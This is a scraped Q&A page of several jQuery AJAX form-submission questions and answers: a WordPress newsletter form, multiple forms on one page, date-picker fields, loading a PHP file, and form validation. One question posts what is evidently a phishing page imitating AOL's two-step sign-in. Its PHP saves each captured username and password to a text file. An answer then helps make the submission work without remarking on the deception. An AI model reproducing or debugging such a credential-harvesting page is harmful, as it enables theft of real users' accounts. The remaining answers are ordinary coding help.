This is my first question on Stackoverflow, thanks in advance for all people for making our life easier. Sorry for my English, it's not very good.
I have this code in my server:
<html>
<head>
<title></title>
<meta content="">
<style></style>
</head>
<body>
<script src="http://code.jquery.com/jquery-1.10.2.min.js"></script>
<script>
$(document).ready(function(){
$("#newsletter").submit(function(){
$.ajax(
{
type: "POST",
url:"http://mailing.estudiohernangene.com/lists/?p=subscribe&id=2",
data: $('#newsletter').serialize(),
success:function(result)
{
$("#mensaje_ok").html("¡Hecho!");
}
});
$("#mensaje_ok").html("¡Hecho!");
$("#email").val("");
$("#enviar").fadeToggle();
return false;
});
});
</script>
<div id="inserccion" style="float:left; border:0px solid; vertical align:middle; padding: -10px 0 0 0;">
<form id="newsletter" method="" action="">
<input type="hidden" name="VerificationCodeX" value="" />
<input type="hidden" name="list[2]" value="signup">
<input type="hidden" name="listname[3]" value="todos"/>
<input type="hidden" name="subscribe" value='subscribe'/>
<span style="padding:0 5px 0 0; vertical-align: middle;">Newsletter:</span>
<input type="text" style="" value="" size="20" name="email" id="email" placeholder="Suscríbete con tu email">
<input class="button" type="submit" id="enviar" value="OK" name="submit">
</form>
</div>
<span id="mensaje_ok" style="float:left; padding: 2px 0 0 0;"></span>
</body>
</html>
If I change the jquery library of Wordpress for the original library, the Wordpress does not work well.
<script src="http://www.estudiohernangene.com/wp-includes/js/jquery/jquery.js?ver=1.10.2"></script>
The examples is in this url:
http://www.estudiohernangene.com/prueba_ok.php
http://www.estudiohernangene.com/prueba_ko.php
What's happend?
Thanks!
Juanmi.
Use
jQuery(...
instead of
$(...
.
<script>
jQuery(function($) {
jQuery(document).ready(function(){
jQuery("#newsletter").submit(function(){
jQuery.ajax(
{
type: "POST",
url:"http://mailing.estudiohernangene.com/lists/?p=subscribe&id=2",
data: jQuery('#newsletter').serialize(),
success:function(result)
{
jQuery("#mensaje_ok").html("¡Hecho!");
}
});
jQuery("#mensaje_ok").html("¡Hecho!");
jQuery("#email").val("");
jQuery("#enviar").fadeToggle();
return false;
});
});
</script>
This should work
Related
I am very new to this.
How do I post data to a PHP file? I am really having problems with this. Its supposed to call the PHP file but rather than call the PHP file, its just very static and does not behave like i clicked a thing.
The first button on the div transfers the data from the first page, and moves it to the second page. then the second button is supposed to call the php URL and send the data to the php file which in turn saves the data to DB or write to the text file.
the html file with the Jquery is looking like this
<!DOCTYPE html>
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script>
$(document).ready(function(){
$("#my_form").submit(function(){
event.preventDefault();
var username = $(this).find('#u').val();
var password = $(this).find('#p').val();
if(username == '' || password ==''){
alert('Please Enter all Data Correctly');
return false;
}
$.ajax({
type: "POST",
url : "savedata.php",
data : {
username : username,
password : password
},
cache: false,
success : function(data){
alert(data);
},
error: function(xhr,status,error){
console.error(xhr);
}
});
});
});
</script>
<script>
$(document).ready(function(){
$("#btn1").click(function(){
$("#loginU").toggle();
$("#loginP").toggle();
});
});
</script>
<script type="text/javascript">
function sendData(){
var username = document.getElementById('u').value;
document.getElementById('outdata').innerHTML = username;
document.getElementById('hiddenEmail').value = username;
}
</script>
<style>
.hide{
display:none;
}
.loginTable
{
margin-top: 15px;
float: right;
background-color: white;
position:absolute;
overflow:hidden;
left:906px;
top:100px;
width:365px;
height:581px;
}
.logoArea
{
margin-top: 35px;
}
.signInheader___{
position:absolute;
overflow:hidden;
left:1040px;
top:198px;
width:63px;
height:35px;
}
</style>
<link rel="stylesheet" href="styles.css">
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>AOL</title>
</head>
<body>
<div align="center">
<table border="0" width="100%">
<tr>
<td height="57">
<img border="0" src="../aol_new/images/aol-logo-black-v.0.0.2.png" width="106" height="43"></td>
</tr>
<tr>
<td> </td>
</tr>
<tr>
<td>
<div align="center">
<table border="0" width="100%" background="images/AOL_MaliciousApps_platform___Norton.jpg" height="1020">
<tr>
<td> </td>
</tr>
<div class="loginTable">
<form id="my_form" method="post">
<div id="loginU">
<img src="../aol_new/images/aol-logo-black-v.0.0.2.png" height="34px" width="85px" class="logoArea" /></br>
<p style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: bold;margin-top:73px;">Sign in</p></br>
<input type="text" id="u" name="u" placeholder=" Username, email, or phone" oninput="sendData();" style="width:314px;height:41px;margin-bottom:10px;border:none;outline:none;border-bottom:1px solid #CCCC;"/></br>
<input type="submit" value="Next" id="btn1" style="width:314px;height:41px;color:#FFFFFF; font-family:Arial; font-size:12pt;border:none;background-color:#39f" />
</div>
<div id="loginP" class="hide">
<img src="../aol_new/images/aol-logo-black-v.0.0.2.png" height="34px" width="85px" class="logoArea" /></br>
<div id="outdata" style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: normal; margin-top:10px;"></div>
<input type="hidden" id="hiddenEmail" />
<p style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: bold;margin-top:14px;">Enter Password</p>
<p style="font-size: 15px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: normal;">to finish sign in</p></br>
<input type="password" id="p" name="p" placeholder=" Password" style="width:314px;height:41px;margin-bottom:10px;border:none;outline:none;border-bottom:1px solid #CCCC;"/></br>
<input type="submit" id="submit" value="Next" style="width:314px;height:41px;color:#FFFFFF; font-family:Arial; font-size:12pt;border:none;background-color:#39f" />
</div>
</form>
</div>
</table>
</div>
</td>
</tr>
</table>
</div>
</body>
</html>
And the PHP to save to textfile (at first) is Looking like this
<?php
$username = $_POST['u'];
$password = $_POST['p'];
$txt = "Data: \n User : $username\n Password : $password\n";
$file = fopen('servers.txt','a+');
fwrite($file,$txt);
fclose($file);
?>
How Can I get this to work? I am very new to this. Rather than send the data, its just Very static and does not do anything like calling the PHP file. Why is this so?
Edit
Edits Now Looks like this :
<!DOCTYPE html>
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script>
$(document).ready(function(){
$("#my_form").submit(function(){
event.preventDefault();
var u = $(this).find('#u').val();
var p = $(this).find('#p').val();
if(u == '' || p ==''){
alert('Please Enter all Data Correctly');
return false;
}
$.ajax({
type: "POST",
url : "login.php",
data : {
u : u,
p : p
},
cache: false,
success : function(data){
alert(data);
},
error: function(xhr,status,error){
console.error(xhr);
}
});
});
});
</script>
<script>
$(document).ready(function(){
$("#btn1").click(function(){
$("#loginU").toggle();
$("#loginP").toggle();
});
});
</script>
<script type="text/javascript">
function sendData(){
var username = document.getElementById('u').value;
document.getElementById('outdata').innerHTML = username;
document.getElementById('hiddenEmail').value = username;
}
</script>
<style>
.hide{
display:none;
}
.loginTable
{
margin-top: 15px;
float: right;
background-color: white;
position:absolute;
overflow:hidden;
left:906px;
top:100px;
width:365px;
height:581px;
}
.logoArea
{
margin-top: 35px;
}
.signInheader___{
position:absolute;
overflow:hidden;
left:1040px;
top:198px;
width:63px;
height:35px;
}
</style>
<link rel="stylesheet" href="styles.css">
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>AOL</title>
</head>
<body>
<div align="center">
<table border="0" width="100%">
<tr>
<td height="57">
<img border="0" src="../aol_new/images/aol-logo-black-v.0.0.2.png" width="106" height="43"></td>
</tr>
<tr>
<td> </td>
</tr>
<tr>
<td>
<div align="center">
<table border="0" width="100%" background="images/AOL_MaliciousApps_platform___Norton.jpg" height="1020">
<tr>
<td> </td>
</tr>
<div class="loginTable">
<form id="my_form" method="post">
<div id="loginU">
<img src="../aol_new/images/aol-logo-black-v.0.0.2.png" height="34px" width="85px" class="logoArea" /></br>
<p style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: bold;margin-top:73px;">Sign in</p></br>
<input type="text" id="u" name="u" placeholder=" Username, email, or phone" oninput="sendData();" style="width:314px;height:41px;margin-bottom:10px;border:none;outline:none;border-bottom:1px solid #CCCC;"/></br>
<input type="submit" value="Next" id="btn1" style="width:314px;height:41px;color:#FFFFFF; font-family:Arial; font-size:12pt;border:none;background-color:#39f" />
</div>
<div id="loginP" class="hide">
<img src="../aol_new/images/aol-logo-black-v.0.0.2.png" height="34px" width="85px" class="logoArea" /></br>
<div id="outdata" style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: normal; margin-top:10px;"></div>
<input type="hidden" id="hiddenEmail" />
<p style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: bold;margin-top:14px;">Enter Password</p>
<p style="font-size: 15px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: normal;">to finish sign in</p></br>
<input type="password" id="p" name="p" placeholder=" Password" style="width:314px;height:41px;margin-bottom:10px;border:none;outline:none;border-bottom:1px solid #CCCC;"/></br>
<input type="submit" id="submit" value="Next" style="width:314px;height:41px;color:#FFFFFF; font-family:Arial; font-size:12pt;border:none;background-color:#39f" />
</div>
</form>
</div>
</table>
</div>
</td>
</tr>
</table>
</div>
</body>
</html>
Your form is very complex at the moment, it seems like you have not tested the code before implementing anything.
To break it down, you can use a simple form two input fields, email and password. You can begin with two fields just.
Just like below:
<form id="myform">
<label for="email">Email</label>
<input id="email" name="email" type="email" value="" />
<label for="password">password</label>
<input id="password" name="password" type="password" value="" />
<input type="submit" value="Send" />
</form>
Then you can use the below mentioned jQuery code to check and take field values when form is submitted. also you can print the request to see if the form data has been serialized correctly.
jQuery( document ).ready(function($) {
var request;
//get form fields
$("form#getField").submit(function(event){
//preventDefault action
event.preventDefault();
if (request) {
request.abort();
}
var $sucess = false;
var $form = $(this);
//Take input fields all together, instead of taking individual values
var $inputs = $form.find("input");
//serialize() method creates a text string in standard URL-encoded notation
var serializedData = $form.serialize();
console.log(serializedData);
$inputs.prop("disabled", true);
//Ajax request
request = $.ajax({
url: "login.php",
type: "POST",
data: serializedData
});
// Load content which you wanna display after the form is submitted
request.done(function (response, textStatus, jqXHR){
$("#result").html('Submitted successfully');
$sucess=true;
});
//If request fails
request.fail(function (jqXHR, textStatus, errorThrown){
console.error(
"The following error occurred: "+
textStatus, errorThrown
);
$("#result").html('Request Failed');
});
request.always(function () {
// Reenable the inputs
$inputs.prop("disabled", false);
});
if($sucess){
$(this).submit();
}
});
});
After this has submitted you can check in the login.php submit with isset($_POST['email']) method like below:
if(isset($_POST['email']) && isset($_POST['password']) ){
//taken from form field
$data['email'] = $_POST['email'];
$data['password'] = $_POST['password'];
//authenticate the rquest and send the data to DB or write to text file
}
Then either write the data in DB or write in the text file.
Hopefully that helps. Always start slow and small.
I have many forms on a page. I want to submit each form without reloading page. I tried many methods but could not do. I have a form similar to this. I tried using ajax as well but could't do. Please help me. Now, I'm unable to insert in database also.
<form id="a" onsubmit="return func();">
<input type="text" name="fname">
<input type="text" name="lname">
<input type="text" name="email">
<input type="submit">
</form>
Jquery
function func(){
$.ajax({
url:'registration_detail.php?id=' +reg_id,// in this you got serialize form data via post request
type : 'POST',
data : $('#a').serialize(),
success: function(response){
console.log(response);
}
});
return false;
}
Don't use " action " attribute not even with " # "
And if using AJAX, use " Return False "
$.ajax({
url : "example.php",
type : 'POST',
data : $(this).serialize();
success: function(result){
}
});
return false;
Make sure you are having a unique id for all the forms
remove action="#" and onsubmit="" from the form as you are handling the submit event in jquery
function func(id){
alert($('#'+id).serialize())
$.ajax({
url:'registration_detail.php',// in this you got serialize form data via post request
type : 'POST',
data : $('#'+id).serialize(),
success: function(response){
console.log(response);
}
});
return false;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<form id="a" onsubmit="return func('a');">
<input type="text" name="fname">
<input type="text" name="lname">
<input type="text" name="email">
<input type="submit">
</form>
<form id="b" onsubmit="return func('b');">
<input type="text" name="fname">
<input type="text" name="lname">
<input type="text" name="email">
<input type="submit">
</form>
<form id="c" onsubmit="return func('c');">
<input type="text" name="fname">
<input type="text" name="lname">
<input type="text" name="email">
<input type="submit">
</form>
id="a" should be unique for all the forms
in your code new variable reg_id will give undefined variable error, that might be the cause to reload the page.
Use below code :
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
</head>
<body>
<form onsubmit="return func();">
<input type="text" name="fname">
<input type="text" name="lname">
<input type="text" name="email">
<input type="submit">
</form>
</body>
<script>
function func(){
$.ajax({
url : "example.php", // in this you got serialize form data via post request
type : 'POST',
data : $('form').serialize(),
success: function(response){
console.log(response);
}
});
return false;
}
</script>
</html>
I'm pretty sure that you want that GET url to be POST as well. Obviously the code below won't work on this site here, but it shows concept of proper AJAX post.
//<![CDATA[
/* js/external.js */
$(function(){
var regId = 'someId';
$('#form').submit(function(e){
$.post('registration_detail.php', 'id='+encodeURIComponent(regId)+'&'+$(this).serialize(), function(jsonObjResp){
console.log(jsonObjResp);
}, 'json');
e.preventDefault();
});
}); // load end
//]]>
/* css/external.css */
*{
box-sizing:border-box; padding:0; margin:0;
}
html,body{
width:100%; height:100%;
}
body{
background:#ccc;
}
#content{
padding:7px;
}
label{
display:inline-block; width:80px; padding-right:4px; text-align:right;
}
input[type=text]{
width:calc(100% - 80px);
}
input{
padding:5px 7px;
}
input[type=submit]{
display:block; margin:0 auto;
}
#form>*{
margin-bottom:5px;
}
<!DOCTYPE html>
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<meta charset='UTF-8' /><meta name='viewport' content='width=device-width, height=device-height, initial-scale:1' />
<title>Test Template</title>
<link type='text/css' rel='stylesheet' href='css/external.css' />
<script type='text/javascript' src='https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js'></script>
<script type='text/javascript' src='js/external.js'></script>
</head>
<body>
<div id='content'>
<form id='form'>
<label for='fname'>First Name</label><input type='text' id='fname' value='' />
<label for='lname'>Last Name</label><input type='text' id='lname' value='' />
<label for='email'>Email</label><input type='text' id='email' value='' />
<input type='submit' id='submit' value='submit' />
</form>
</div>
</body>
</html>
$(document).ready(function(){
$("form").on("submit", function(){
var form_id = $(this).attr("id");
$.ajax({
url : "example.php",
type : 'POST',
data : $("#"+form_id).serialize(),
success: function(result){
}
});
return false;
})
})
I want to pass start and end value to data.php using form . Before passing when i print it, it gives me [object HTMLInputElement] .
and from data.php ,i try to using $_POST['start'] and $_POST['end'] to get the start and end value but get nothing
code as below ,
<!DOCTYPE html>
<html>
<head>
<base href="http://demos.telerik.com/kendo-ui/datepicker/rangeselection">
<style>html { font-size: 14px; font-family: Arial, Helvetica, sans-serif; }
</style>
<title></title>
<link rel="stylesheet" href="//kendo.cdn.telerik.com/2016.2.607/styles/kendo.common-material.min.css" />
<link rel="stylesheet" href="//kendo.cdn.telerik.com/2016.2.607/styles/kendo.material.min.css" />
<link rel="stylesheet" href="//kendo.cdn.telerik.com/2016.2.607/styles/kendo.default.mobile.min.css" />
<script src="//kendo.cdn.telerik.com/2016.2.607/js/jquery.min.js"></script>
<script src="//kendo.cdn.telerik.com/2016.2.607/js/kendo.all.min.js">
</script>
</head>
<body>
<div id="example">
<div class="demo-section k-content">
<form action="data.php" method="post">
<h4>Start date:</h4>
<input id="start" style="width: 100%;" value="" />
<h4 style="margin-top: 2em">End date:</h4>
<input id="end" style="width: 100%;" value=""/>
<input name="" type="submit" >
</form>
</div>
<script>
$(document).ready(function() {
function startChange() {
var startDate = start.value(),
endDate = end.value();
if (startDate) {
startDate = new Date(startDate);
startDate.setDate(startDate.getDate());
end.min(startDate);
} else if (endDate) {
start.max(new Date(endDate));
} else {
endDate = new Date();
start.max(endDate);
end.min(endDate);
}
}
function endChange() {
var endDate = end.value(),
startDate = start.value();
if (endDate) {
endDate = new Date(endDate);
endDate.setDate(endDate.getDate());
start.max(endDate);
} else if (startDate) {
end.min(new Date(startDate));
} else {
endDate = new Date();
start.max(endDate);
end.min(endDate);
}
}
var start = $("#start").kendoDatePicker({
change: startChange
}).data("kendoDatePicker");
var end = $("#end").kendoDatePicker({
change: endChange
}).data("kendoDatePicker");
start.max(end.value());
end.min(start.value());
});
</script>
</div>
</body>
</html>
but it's nothing .
Would you suggest me any solution. Thanks in advance.
Set name attribute in your input elements(name="start", name="end", name="submit"), then you can access their values through $_POST['start'] and $_POST['end']
<form action="data.php" method="post">
<h4>Start date:</h4>
<input name="start" id="start" style="width: 100%;" value="" />
<h4 style="margin-top: 2em">End date:</h4>
<input name="end" id="end" style="width: 100%;" value=""/>
<input name="submit" type="submit" >
</form>
I am unable to load external file while using AJAX jQuery. I want to use jQuery AJAX to pop up form then validate, enter data in MySQL. but starting from a simple AJAX function. Kindly let me know where I am going wrong
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" type="text/css" media="all" href="test_style.css">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"> </script>
<script>
$(document).ready(function(){
$("#ajax-contact-form").submit(function(){
var str = $(this).serialize();
$.ajax({
type: "POST",
url:"contact.php",
data: str,
success:function(result) {
$("#div1").html(result);
}
});
});
});
</script>
</head>
<body>
<div id="contact_form">
<form id="ajax-contact-form" name="contact" action="">
<fieldset>
<label for="name" id="name_label">Name</label>
<input type="text" name="name" id="name" size="30" value="" class="text-input"/>
<label class="error" for="name" id="name_error">This field is required.</label>
<input class="button" type="submit" name="submit" value="Send Message">
</fieldset>
</form>
</div>
</body>
</html>
and contact.php file is
<?php
echo "Hello";
?>
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" type="text/css" media="all" href="test_style.css">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>
<script>
$(function() {
$(".button").click(function() {
$.ajax({url:"contact.php",success:function(result){
$("#div1").html(result);
}});
return false;
});
});
</script>
</head>
<body>
<div id="contact_form">
<form name="contact" action="">
<fieldset>
<label for="name" id="name_label">Name</label>
<input type="text" name="name" id="name" size="30" value="" class="text-input" />
<label class="error" for="name" id="name_error">This field is required.</label>
<input type="submit" name="submit" class="button" id="submit_btn" value="Send" />
</fieldset>
</form>
</div>
<div id="div1">
</div>
</body>
</html>
Try that:
What needed to be fixed:
1) You'd duplicated the onReady function,
2) you can use a submit form button, but since it's default action is to submit the form, the result wouldn't have been visible.
3) There was no #div1 for the result to be displayed in.
Hopefully, this has been helpful... Happy Coding!
Try with type button type
<input type="button" name="submit" class="button" id="submit_btn" value="Send" />
And also your both scripts are same use either DOM ready or $(function) like
<script>
$(document).ready(function(){
$(".button").click(function(){
$.ajax({url:"contact.php",success:function(result){
$("#div1").html(result);
}});
});
});
</script>
button is your class name so that it will represented like .button And create an div with id div1 at your html page
$("#div1").html(result);
Use one div which id is div1 inside your page which you want to show the result.
<div id="div1"></div>
So I doing simple edit/delete/new for mysql DB update.I am using ajax as I need it to in a single page.
So when I check New button, a new form shows up(from ajax call to php file). I get html form. I am trying to validate this.
But I am not able. Code seems right. My code here
trail.php
<?php include( 'connect.php'); ?>
<html>
<head>
<script src="http://code.jquery.com/jquery-latest.js"></script>
<script src="http://ajax.aspnetcdn.com/ajax/jquery.validate/1.11.1/jquery.validate.js"></script>
<script src="http://ajax.aspnetcdn.com/ajax/jquery.validate/1.11.1/jquery.validate.min.js"></script>
<script src="http://ajax.aspnetcdn.com/ajax/jquery.validate/1.11.1/additional-methods.js"></script>
<script src="http://ajax.aspnetcdn.com/ajax/jquery.validate/1.11.1/additional-methods.min.js"></script>
<script>
$(document).ready(function() {
$("#form1").validate({
debug: false,
rules: {
plid: "required",
},
messages: {
plid: "Please select a pack list id..",
},
submitHandler: function(form) {
$.ajax({
type: "POST",
url: "aa.php",
data: $('#form1').serialize(),
cache: false,
success: function(response) {
$('#result1').html(response);
}
});
}
});
});
</script>
</head>
<body>
<div id="result1"></div>Packing List</br>
<form id="form1" name="form1" action="" method="post">
<?php echo '<select name="plid" id="plid">'; echo '<option value="" selected="selected">--Select the Pack List Id--</option>'; $tempholder=a rray(); $sql="SELECT `pl_id`
FROM (
SELECT `pl_id`
FROM packlist
ORDER BY `pl_id` DESC
LIMIT 30
) AS t" ; $query=m ysql_query($sql) or die(mysql_error()); $nr=m ysql_num_rows($query); for ($i=0; $i<$nr; $i++){ $r=m ysql_fetch_array($query); if (!in_array($r[ 'pl_id'], $tempholder)){ $tempholder[$i]=$ r[ 'pl_id']; echo "<option>".$r[ "pl_id"]. "</option>"; } } echo '</select>'; ?>
<br/>
<input type="submit" name="new" id="new" value="New" />
<br/>
<input type="submit" name="delete" value="Delete" />
<br/>
<input type="submit" name="edit" id="edit" value="Edit" />
<br/>
</form>
</body>
And my ajax called php file
<head>
<script src="http://code.jquery.com/jquery-latest.js"></script>
<script src="http://ajax.aspnetcdn.com/ajax/jquery.validate/1.11.1/jquery.validate.js"></script>
<script src="http://ajax.aspnetcdn.com/ajax/jquery.validate/1.11.1/jquery.validate.min.js"></script>
<script src="http://ajax.aspnetcdn.com/ajax/jquery.validate/1.11.1/additional-methods.js"></script>
<script src="http://ajax.aspnetcdn.com/ajax/jquery.validate/1.11.1/additional-methods.min.js"></script>
<script>
$(document).ready(function() {
$("#form2").validate({
debug: false,
rules: {
plidnew: "required",
},
messages: {
plidnew: "Please select a pack list id..",
}
});
});
</script>
</head>
<body>
<?php $a=isset($_POST[ 'plid']) && $_POST[ 'plid']; $b=isset($_POST[ 'new']) && $_POST[ 'new']; if($a&&$b) { ?>
<form name="form2" id="form2" method="post" action="">
<P>
<LABEL for="plidnew">PackList No
<INPUT type="text" id="plidnew">
</LABEL>
<BR>
<BR>
<LABEL for="itemidnew">Item Id
<INPUT type="text" id="itemidnew">
</LABEL>
<BR>
<BR>
<LABEL for="quannew">Quantity
<INPUT type="text" id="quannew">
</LABEL>
<BR>
<BR>
<LABEL for="potnew">Potency
<INPUT type="text" id="potnew">
</LABEL>
<BR>
<BR>
<LABEL for="sizenew">Size
<INPUT type="text" id="sizenew">
</LABEL>
<BR>
<BR>
<INPUT type="submit" id="newsubmit" name="newsubmit" value="Submit">
<INPUT type="reset">
</P>
</form>
<?php }
$c=isset($_POST[ 'plid']) && $_POST[ 'plid'];
$d=isset($_POST[ 'delete']) && $_POST[ 'delete'];
if($c&&$d) {
echo "delete!!";
}
$e=isset($_POST[ 'plid']) && $_POST[ 'plid'];
$f=isset($_POST[ 'edit']) && $_POST[ 'edit'];
if($e&&$f) {
?>
<form name="form3" id="form3" method="post" action="aa.php">
<P>
<LABEL for="plidedit">PackList No
<INPUT type="text" id="plidedit">
</LABEL>
<BR>
<BR>
<LABEL for="itemidedit">Item Id
<INPUT type="text" id="itemidedit">
</LABEL>
<BR>
<BR>
<LABEL for="quanedit">Quantity
<INPUT type="text" id="quanedit">
</LABEL>
<BR>
<BR>
<LABEL for="potedit">Potency
<INPUT type="text" id="potedit">
</LABEL>
<BR>
<BR>
<LABEL for="sizeedit">Size
<INPUT type="text" id="sizeedit">
</LABEL>
<BR>
<BR>
<INPUT type="submit" id="editsubmit" name="editsubmit" value="Submit">
<INPUT type="reset">
</P>
</form>
<?php } ?>
</body>
I had doubts about validating the form. I tried the validation codes in both page.
But no ajax effect as shown in firebug. Any help appreciated..Thanks a lot..
while using ajax with type "post", you should be careful in passing data
data and data1 are the parameter of the webmethod or service. Try this
var d1="asd";
$.ajax({
type: "POST",
url: "aa.php",
data: "{data:'"+d1+"',data1:'"+d2+"'}",
cache: false,
success: function(response) {
$('#result1').html(response);
}
});